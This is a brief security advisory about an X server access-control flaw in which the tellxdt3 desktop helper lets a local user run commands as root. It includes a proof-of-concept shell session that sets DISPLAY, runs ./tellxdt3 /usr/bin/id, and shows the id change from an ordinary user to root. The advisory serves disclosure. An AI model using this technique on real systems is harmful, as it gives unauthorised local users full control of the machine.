A problem in access control of the X server could allow a local user to gain elevated privileges. When the X Window System is started via the xhost script, insufficient xhost access control allows a user to execute commands on the desktop. This can be exploited by setting the display environment variable, and using the tellxdt3 program. This problem makes it possible for a local user to execute commands as root. $ pwd /usr/lib/X11/IXI/XDesktop/bin/i3sc0322 $ DISPLAY=localhost:0 $ export DISPLAY $ id uid=232(kevin) gid=101(supp) groups=101(supp),50(group) $ ./tellxdt3 /usr/bin/id *** Can't open message catalogue XDesktop3 uid=0(root) gid=3(sys) groups=3(sys),1(other)
